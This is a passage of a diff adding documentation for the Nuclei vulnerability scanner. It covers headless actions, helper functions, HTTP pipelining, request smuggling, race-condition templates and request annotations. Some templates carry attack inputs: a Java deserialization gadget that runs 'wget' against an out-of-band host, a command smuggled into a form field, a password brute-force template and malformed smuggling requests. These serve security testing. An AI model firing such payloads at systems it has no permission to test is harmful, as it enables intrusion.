part: response # can be request too
|
||||
body: '{"success":"ok"}'
|
||||
```
|
||||
|
||||
#### waitevent
|
||||
|
||||
WaitEvent waits for an event to trigger on the page.
|
||||
|
||||
```yaml
|
||||
action: waitevent
|
||||
args:
|
||||
event: 'Page.loadEventFired'
|
||||
```
|
||||
|
||||
The list of events supported are listed [here](https://github.com/go-rod/rod/blob/master/lib/proto/definitions.go).
|
||||
|
||||
|
||||
#### keyboard
|
||||
|
||||
Keyboard simulates a single key-press on the keyboard.
|
||||
|
||||
```yaml
|
||||
action: keyboard
|
||||
args:
|
||||
keys: '\r' # this simulates pressing enter key on keyboard
|
||||
```
|
||||
|
||||
`keys` argument accepts key-codes.
|
||||
|
||||
#### debug
|
||||
|
||||
Debug adds a delay of 5 seconds between each headless action and also shows a trace of all the headless events occurring in the browser.
|
||||
|
||||
> Note: Only use this for debugging purposes, don't use this in production templates.
|
||||
|
||||
```yaml
|
||||
action: debug
|
||||
```
|
||||
|
||||
#### sleep
|
||||
|
||||
Sleeps makes the browser wait for a specified duration in seconds. This is also useful for debugging purposes.
|
||||
|
||||
```yaml
|
||||
action: sleep
|
||||
args:
|
||||
duration: 5
|
||||
```
|
||||
|
||||
### Selectors
|
||||
|
||||
Selectors are how nuclei headless engine identifies what element to execute an action on. Nuclei supports getting selectors by including a variety of options -
|
||||
|
||||
| Selector | Description |
|
||||
|----------------------|-----------------------------------------------------|
|
||||
| `r` / `regex` | Element matches CSS Selector and Text Matches Regex |
|
||||
| `x` / `xpath` | Element matches XPath selector |
|
||||
| `js` | Return elements from a JS function |
|
||||
| `search` | Search for a query (can be text, XPATH, CSS) |
|
||||
| `selector` (default) | Element matches CSS Selector |
|
||||
|
||||
### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **Headless** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|-------------------|---------------------------------|
|
||||
| request | Headless Request |
|
||||
| `<out_names>` | Action names with stored values |
|
||||
| raw / body / data | Final DOM response from browser |
|
||||
|
||||
### **Example Headless Template**
|
||||
|
||||
An example headless template to automatically login into DVWA is provided below -
|
||||
|
||||
|
||||
```yaml
|
||||
id: dvwa-headless-automatic-login
|
||||
info:
|
||||
name: DVWA Headless Automatic Login
|
||||
author: pdteam
|
||||
severity: high
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: "{{BaseURL}}/login.php"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
value: admin
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: text
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
value: password
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: text
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/p/input
|
||||
action: click
|
||||
- action: waitload
|
||||
matchers:
|
||||
- part: resp
|
||||
type: word
|
||||
words:
|
||||
- "You have logged in as"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/headless).
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,238 @@
|
||||
---
|
||||
title: "Helper Functions"
|
||||
---
|
||||
|
||||
### Helper functions
|
||||
|
||||
Here is the list of all supported helper functions can be used in the RAW requests / Network requests.
|
||||
|
||||
| Helper function | Description | Example | Output |
|
||||
|-----------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| aes_gcm(key, plaintext interface{}) []byte | AES GCM encrypts a string with key | `{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}` | `ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4` |
|
||||
| base64(src interface{}) string | Base64 encodes a string | `base64("Hello")` | `SGVsbG8=` |
|
||||
| base64_decode(src interface{}) []byte | Base64 decodes a string | `base64_decode("SGVsbG8=")` | `Hello` |
|
||||
| base64_py(src interface{}) string | Encodes string to base64 like python (with new lines) | `base64_py("Hello")` | `SGVsbG8=\n` |
|
||||
| bin_to_dec(binaryNumber number | string) float64 | Transforms the input binary number into a decimal format | `bin_to_dec("0b1010")`\<br>`bin_to_dec(1010)` | `10` |
|
||||
| compare_versions(versionToCheck string, constraints ...string) bool | Compares the first version argument with the provided constraints | `compare_versions('v1.0.0', '\>v0.0.1', '\<v1.0.1')` | `true` |
|
||||
| concat(arguments ...interface{}) string | Concatenates the given number of arguments to form a string | `concat("Hello", 123, "world)` | `Hello123world` |
|
||||
| contains(input, substring interface{}) bool | Verifies if a string contains a substring | `contains("Hello", "lo")` | `true` |
|
||||
| contains_all(input interface{}, substrings ...string) bool | Verifies if any input contains all of the substrings | `contains("Hello everyone", "lo", "every")` | `true` |
|
||||
| contains_any(input interface{}, substrings ...string) bool | Verifies if an input contains any of substrings | `contains("Hello everyone", "abc", "llo")` | `true` |
|
||||
| date_time(dateTimeFormat string, optionalUnixTime interface{}) string | Returns the formatted date time using simplified or `go` style layout for the current or the given unix time | `date_time("%Y-%M-%D %H:%m")`\<br\>`date_time("%Y-%M-%D %H:%m", 1654870680)`\<br\>`date_time("2006-01-02 15:04", unix_time())` | `2022-06-10 14:18` |
|
||||
| dec_to_hex(number number | string) string | Transforms the input number into hexadecimal format | `dec_to_hex(7001)"` | `1b59` |
|
||||
| ends_with(str string, suffix ...string) bool | Checks if the string ends with any of the provided substrings | `ends_with("Hello", "lo")` | `true` |
|
||||
| generate_java_gadget(gadget, cmd, encoding interface{}) string | Generates a Java Deserialization Gadget | `generate_java_gadget("dns", "{{interactsh-url}}", "base64")` | `rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54` |
|
||||
| generate_jwt(json, algorithm, signature, unixMaxAge) []byte | Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm | `generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")` | `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U` |
|
||||
| gzip(input string) string | Compresses the input using GZip | `base64(gzip("Hello"))` | `+H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=` |
|
||||
| gzip_decode(input string) string | Decompresses the input using GZip | `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))` | `Hello` |
|
||||
| hex_decode(input interface{}) []byte | Hex decodes the given input | `hex_decode("6161")` | `aa` |
|
||||
| hex_encode(input interface{}) string | Hex encodes the given input | `hex_encode("aa")` | `6161` |
|
||||
| hex_to_dec(hexNumber number | string) float64 | Transforms the input hexadecimal number into decimal format | `hex_to_dec("ff")`\<br\>`hex_to_dec("0xff")` | `255` |
|
||||
| hmac(algorithm, data, secret) string | hmac function that accepts a hashing function type with data and secret | `hmac("sha1", "test", "scrt")` | `8856b111056d946d5c6c92a21b43c233596623c6` |
|
||||
| html_escape(input interface{}) string | HTML escapes the given input | `html_escape("\<body\>test\</body\>")` | `<body>test</body>` |
|
||||
| html_unescape(input interface{}) string | HTML un-escapes the given input | `html_unescape("<body>test</body>")` | `\<body\>test\</body\>` |
|
||||
| join(separator string, elements ...interface{}) string | Joins the given elements using the specified separator | `join("_", 123, "hello", "world")` | `123_hello_world` |
|
||||
| json_minify(json) string | Minifies a JSON string by removing unnecessary whitespace | `json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")` | `{"foo":"bar","name":"John Doe"}` |
|
||||
| json_prettify(json) string | Prettifies a JSON string by adding indentation | `json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")` | `{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}` |
|
||||
| len(arg interface{}) int | Returns the length of the input | `len("Hello")` | `5` |
|
||||
| line_ends_with(str string, suffix ...string) bool | Checks if any line of the string ends with any of the provided substrings | `line_ends_with("Hello\nHi", "lo")` | `true` |
|
||||
| line_starts_with(str string, prefix ...string) bool | Checks if any line of the string starts with any of the provided substrings | `line_starts_with("Hi\nHello", "He")` | `true` |
|
||||
| md5(input interface{}) string | Calculates the MD5 (Message Digest) hash of the input | `md5("Hello")` | `8b1a9953c4611296a827abf8c47804d7` |
|
||||
| mmh3(input interface{}) string | Calculates the MMH3 (MurmurHash3) hash of an input | `mmh3("Hello")` | `316307400` |
|
||||
| oct_to_dec(octalNumber number | string) float64 | Transforms the input octal number into a decimal format | `oct_to_dec("0o1234567")`\<br\>`oct_to_dec(1234567)` | `342391` |
|
||||
| print_debug(args ...interface{}) | Prints the value of a given input or expression. Used for debugging. | `print_debug(1+2, "Hello")` | `3 Hello` |
|
||||
| rand_base(length uint, optionalCharSet string) string | Generates a random sequence of given length string from an optional charset (defaults to letters and numbers) | `rand_base(5, "abc")` | `caccb` |
|
||||
| rand_char(optionalCharSet string) string | Generates a random character from an optional character set (defaults to letters and numbers) | `rand_char("abc")` | `a` |
|
||||
| rand_int(optionalMin, optionalMax uint) int | Generates a random integer between the given optional limits (defaults to 0 - MaxInt32) | `rand_int(1, 10)` | `6` |
|
||||
| rand_text_alpha(length uint, optionalBadChars string) string | Generates a random string of letters, of given length, excluding the optional cutset characters | `rand_text_alpha(10, "abc")` | `WKozhjJWlJ` |
|
||||
| rand_text_alphanumeric(length uint, optionalBadChars string) string | Generates a random alphanumeric string, of given length without the optional cutset characters | `rand_text_alphanumeric(10, "ab12")` | `NthI0IiY8r` |
|
||||
| rand_ip(cidr ...string) string | Generates a random IP address | `rand_ip("192.168.0.0/24")` | `192.168.0.171` |
|
||||
| rand_text_numeric(length uint, optionalBadNumbers string) string | Generates a random numeric string of given length without the optional set of undesired numbers | `rand_text_numeric(10, 123)` | `0654087985` |
|
||||
| regex(pattern, input string) bool | Tests the given regular expression against the input string | `regex("H([a-z]+)o", "Hello")` | `true` |
|
||||
| remove_bad_chars(input, cutset interface{}) string | Removes the desired characters from the input | `remove_bad_chars("abcd", "bc")` | `ad` |
|
||||
| repeat(str string, count uint) string | Repeats the input string the given amount of times | `repeat("../", 5)` | `../../../../../` |
|
||||
| replace(str, old, new string) string | Replaces a given substring in the given input | `replace("Hello", "He", "Ha")` | `Hallo` |
|
||||
| replace_regex(source, regex, replacement string) string | Replaces substrings matching the given regular expression in the input | `replace_regex("He123llo", "(\\d+)", "")` | `Hello` |
|
||||
| reverse(input string) string | Reverses the given input | `reverse("abc")` | `cba` |
|
||||
| sha1(input interface{}) string | Calculates the SHA1 (Secure Hash 1) hash of the input | `sha1("Hello")` | `f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0` |
|
||||
| sha256(input interface{}) string | Calculates the SHA256 (Secure Hash 256) hash of the input | `sha256("Hello")` | `185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969` |
|
||||
| starts_with(str string, prefix ...string) bool | Checks if the string starts with any of the provided substrings | `starts_with("Hello", "He")` | `true` |
|
||||
| to_lower(input string) string | Transforms the input into lowercase characters | `to_lower("HELLO")` | `hello` |
|
||||
| to_unix_time(input string, layout string) int | Parses a string date time using default or user given layouts, then returns its Unix timestamp | `to_unix_time("2022-01-13T16:30:10+00:00")`\<br\>`to_unix_time("2022-01-13 16:30:10")`\<br\>`to_unix_time("13-01-2022 16:30:10". "02-01-2006 15:04:05")` | `1642091410` |
|
||||
| to_upper(input string) string | Transforms the input into uppercase characters | `to_upper("hello")` | `HELLO` |
|
||||
| trim(input, cutset string) string | Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed | `trim("aaaHelloddd", "ad")` | `Hello` |
|
||||
| trim_left(input, cutset string) string | Returns a slice of the input with all leading Unicode code points contained in cutset removed | `trim_left("aaaHelloddd", "ad")` | `Helloddd` |
|
||||
| trim_prefix(input, prefix string) string | Returns the input without the provided leading prefix string | `trim_prefix("aaHelloaa", "aa")` | `Helloaa` |
|
||||
| trim_right(input, cutset string) string | Returns a string, with all trailing Unicode code points contained in cutset removed | `trim_right("aaaHelloddd", "ad")` | `aaaHello` |
|
||||
| trim_space(input string) string | Returns a string, with all leading and trailing white space removed, as defined by Unicode | `trim_space(" Hello ")` | `"Hello"` |
|
||||
| trim_suffix(input, suffix string) string | Returns input without the provided trailing suffix string | `trim_suffix("aaHelloaa", "aa")` | `aaHello` |
|
||||
| unix_time(optionalSeconds uint) float64 | Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds | `unix_time(10)` | `1639568278` |
|
||||
| url_decode(input string) string | URL decodes the input string | `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")` | `https://projectdiscovery.io?test=1` |
|
||||
| url_encode(input string) string | URL encodes the input string | `url_encode("https://projectdiscovery.io/test?a=1")` | `https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1` |
|
||||
| wait_for(seconds uint) | Pauses the execution for the given amount of seconds | `wait_for(10)` | `true` |
|
||||
| zlib(input string) string | Compresses the input using Zlib | `base64(zlib("Hello"))` | `eJzySM3JyQcEAAD//wWMAfU=` |
|
||||
| zlib_decode(input string) string | Decompresses the input using Zlib | `zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))` | `Hello` |
|
||||
|resolve(host string, format string) string |Resolves a host using a dns type that you define| `resolve("localhost",4)`| `127.0.0.1`|
|
||||
|ip_format(ip string, format string) string|It takes an input ip and converts it to another format according to this [legend](https://github.com/projectdiscovery/mapcidr/wiki/IP-Format-Index), the second parameter indicates the conversion index and must be between 1 and 11| `ip_format("127.0.0.1", 3)`| `0177.0.0.01`|
|
||||
|
||||
### Deserialization helper functions
|
||||
|
||||
Nuclei allows payload generation for a few common gadget from [ysoserial](https://github.com/frohoff/ysoserial).
|
||||
|
||||
**Supported Payload:**
|
||||
|
||||
- `dns` (URLDNS)
|
||||
- `commons-collections3.1`
|
||||
- `commons-collections4.0`
|
||||
- `jdk7u21`
|
||||
- `jdk8u20`
|
||||
- `groovy1`
|
||||
|
||||
**Supported encodings:**
|
||||
|
||||
- `base64` (default)
|
||||
- `gzip-base64`
|
||||
- `gzip`
|
||||
- `hex`
|
||||
- `raw`
|
||||
|
||||
**Deserialization helper function format:**
|
||||
|
||||
```yaml
|
||||
{{generate_java_gadget(payload, cmd, encoding}}
|
||||
```
|
||||
|
||||
**Deserialization helper function example:**
|
||||
|
||||
```yaml
|
||||
{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||
```
|
||||
### JSON helper functions
|
||||
|
||||
Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:
|
||||
|
||||
- `generate_jwt`, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
|
||||
- `json_minify`, to minifies a JSON string by removing unnecessary whitespace.
|
||||
- `json_prettify`, to prettifies a JSON string by adding indentation.
|
||||
|
||||
**Examples**
|
||||
|
||||
**`generate_jwt`**
|
||||
|
||||
To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, _at least_.
|
||||
|
||||
Here is a list of supported algorithms for generating JWTs with `generate_jwt` function _(case-insensitive)_:
|
||||
|
||||
- `HS256`
|
||||
- `HS384`
|
||||
- `HS512`
|
||||
- `RS256`
|
||||
- `RS384`
|
||||
- `RS512`
|
||||
- `PS256`
|
||||
- `PS384`
|
||||
- `PS512`
|
||||
- `ES256`
|
||||
- `ES384`
|
||||
- `ES512`
|
||||
- `EdDSA`
|
||||
- `NONE`
|
||||
|
||||
Empty string ("") also means `NONE`.
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}
|
||||
```
|
||||
|
||||
> Arguments other than `json` are optional.
|
||||
|
||||
Example:
|
||||
```yaml
|
||||
variables:
|
||||
json: | # required
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
alg: "HS256" # optional
|
||||
sig: "this_is_secret" # optional
|
||||
age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
|
||||
jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'
|
||||
```
|
||||
|
||||
> The `maxAgeUnix` argument is to set the expiration `"exp"` JWT standard claim, as well as the `"iat"` claim when you call the function.
|
||||
|
||||
**`json_minify`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{json_minify(json)}}
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
json: |
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
minify: '{{json_minify(json}}'
|
||||
```
|
||||
|
||||
`minify` variable output:
|
||||
|
||||
```json
|
||||
{"foo":"bar","name":"John Doe"}
|
||||
```
|
||||
|
||||
**`json_prettify`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{json_prettify(json)}}
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
json: '{"foo":"bar","name":"John Doe"}'
|
||||
pretty: '{{json_prettify(json}}'
|
||||
```
|
||||
|
||||
`pretty` variable output:
|
||||
|
||||
```json
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
```
|
||||
|
||||
**`resolve`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{resolve(host,format)}}
|
||||
```
|
||||
|
||||
Here is a list of formats available for dns type:
|
||||
|
||||
- `4` or `a`
|
||||
- `6` or `aaaa`
|
||||
- `cname`
|
||||
- `ns`
|
||||
- `txt`
|
||||
- `srv`
|
||||
- `ptr`
|
||||
- `mx`
|
||||
- `soa`
|
||||
- `caa`
|
||||
|
||||
@@ -0,0 +1,336 @@
|
||||
---
|
||||
title: "Advance HTTP"
|
||||
---
|
||||
|
||||
We’ve enriched nuclei to allow advanced scanning of web servers. Users can now use multiple options to tune HTTP request workflows.
|
||||
|
||||
### Pipelining
|
||||
|
||||
HTTP Pipelining support has been added which allows multiple HTTP requests to be sent on the same connection inspired from [http-desync-attacks-request-smuggling-reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn).
|
||||
|
||||
Before running HTTP pipelining based templates, make sure the running target supports HTTP Pipeline connection, otherwise nuclei engine fallbacks to standard HTTP request engine.
|
||||
|
||||
If you want to confirm the given domain or list of subdomains supports HTTP Pipelining, [httpx](https://github.com/projectdiscovery/) has a flag `-pipeline` to do so.
|
||||
|
||||
An example configuring showing pipelining attributes of nuclei.
|
||||
|
||||
```yaml
|
||||
unsafe: true
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 40
|
||||
pipeline-requests-per-connection: 25000
|
||||
```
|
||||
|
||||
An example template demonstrating pipelining capabilities of nuclei has been provided below-
|
||||
|
||||
```yaml
|
||||
id: pipeline-testing
|
||||
info:
|
||||
name: pipeline testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
GET /{{path}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Referer: {{BaseURL}}
|
||||
|
||||
attack: batteringram
|
||||
payloads:
|
||||
path: path_wordlist.txt
|
||||
|
||||
unsafe: true
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 40
|
||||
pipeline-requests-per-connection: 25000
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
### Connection pooling
|
||||
|
||||
While the earlier versions of nuclei did not do connection pooling, users can now configure templates to either use HTTP connection pooling or not. This allows for faster scanning based on requirement.
|
||||
|
||||
To enable connection pooling in the template, `threads` attribute can be defined with respective number of threads you wanted to use in the payloads sections.
|
||||
|
||||
`Connection: Close` header can not be used in HTTP connection pooling template, otherwise engine will fail and fallback to standard HTTP requests with pooling.
|
||||
|
||||
An example template using HTTP connection pooling-
|
||||
|
||||
```yaml
|
||||
id: fuzzing-example
|
||||
info:
|
||||
name: Connection pooling example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
GET /protected HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('admin:§password§')}}
|
||||
|
||||
attack: batteringram
|
||||
payloads:
|
||||
password: password.txt
|
||||
threads: 40
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "Unique string"
|
||||
part: body
|
||||
```
|
||||
|
||||
### Smuggling
|
||||
|
||||
HTTP Smuggling is a class of Web-Attacks recently made popular by [Portswigger’s Research](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) into the topic. For an in-depth overview, please visit the article linked above.
|
||||
|
||||
In the open source space, detecting http smuggling is difficult particularly due to the requests for detection being malformed by nature. Nuclei is able to reliably detect HTTP Smuggling vulnerabilities utilising the [rawhttp](https://github.com/projectdiscovery/rawhttp) engine.
|
||||
|
||||
The most basic example of an HTTP Smuggling vulnerability is CL.TE Smuggling. An example template to detect a CE.TL HTTP Smuggling vulnerability is provided below using the `unsafe: true` attribute for rawhttp based requests.
|
||||
|
||||
```yaml
|
||||
id: CL-TE-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'Unrecognized method GPOST'
|
||||
```
|
||||
|
||||
More examples are available in [template-example](/template-example/http/http-smuggling/) section for smuggling templates.
|
||||
|
||||
### Race conditions
|
||||
|
||||
Race Conditions are another class of bugs not easily automated via traditional tooling. Burp Suite introduced a Gate mechanism to Turbo Intruder where all the bytes for all the requests are sent expect the last one at once which is only sent together for all requests synchronizing the send event.
|
||||
|
||||
We have implemented **Gate** mechanism in nuclei engine and allow them run via templates which makes the testing for this specific bug class simple and portable.
|
||||
|
||||
To enable race condition check within template, `race` attribute can be set to `true` and `race_count` defines the number of simultaneous request you want to initiate.
|
||||
|
||||
Below is an example template where the same request is repeated for 10 times using the gate logic.
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race condition testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /coupons HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
promo_code=20OFF
|
||||
|
||||
race: true
|
||||
race_count: 10
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
You can simply replace the `POST` request with any suspected vulnerable request and change the `race_count` as per your need, and it's ready to run.
|
||||
|
||||
```bash
|
||||
nuclei -t race.yaml -target https://api.target.com
|
||||
```
|
||||
|
||||
**Multi request race condition testing**
|
||||
|
||||
For the scenario when multiple requests needs to be sent in order to exploit the race condition, we can make use of threads.
|
||||
|
||||
```yaml
|
||||
threads: 5
|
||||
race: true
|
||||
```
|
||||
|
||||
`threads` is a total number of request you wanted make with the template to perform race condition testing.
|
||||
|
||||
|
||||
Below is an example template where multiple (5) unique request will be sent at the same time using the gate logic.
|
||||
|
||||
```yaml
|
||||
id: multi-request-race
|
||||
|
||||
info:
|
||||
name: Race condition testing with multiple requests
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=1
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=2
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=3
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=4
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=5
|
||||
|
||||
threads: 5
|
||||
race: true
|
||||
```
|
||||
|
||||
## Requests Annotation
|
||||
|
||||
Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported:
|
||||
|
||||
- `@Host:` which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: `domain.tld`, `domain.tld:port`, `http://domain.tld:port`
|
||||
- `@tls-sni:` which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals. The special value `request.host` uses the `Host` header and `interactsh-url` uses an interactsh generated URL.
|
||||
- `@timeout:` which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used.
|
||||
|
||||
The following example shows the annotations within a request:
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@Host: https://projectdiscovery.io:443
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
```
|
||||
This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity):
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
# this request will be sent to {{Hostname}} to get the token
|
||||
- |
|
||||
GET /getkey HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
# This request will be sent instead to https://api.target.com:443 to verify the token validity
|
||||
- |
|
||||
@Host: https://api.target.com:443
|
||||
GET /api/key={{token}} HTTP/1.1
|
||||
Host: api.target.com:443
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: token
|
||||
part: body
|
||||
regex:
|
||||
# random extractor of strings between prefix and suffix
|
||||
- 'prefix(.*)suffix'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- valid token
|
||||
```
|
||||
|
||||
Example of a custom `timeout` annotations -
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@timeout: 25s
|
||||
POST /conf_mail.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
||||
```
|
||||
|
||||
Example of `sni` annotation with `interactsh-url` -
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@tls-sni: interactsh-url
|
||||
POST /conf_mail.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
||||
```
|
||||
@@ -0,0 +1,175 @@
|
||||
---
|
||||
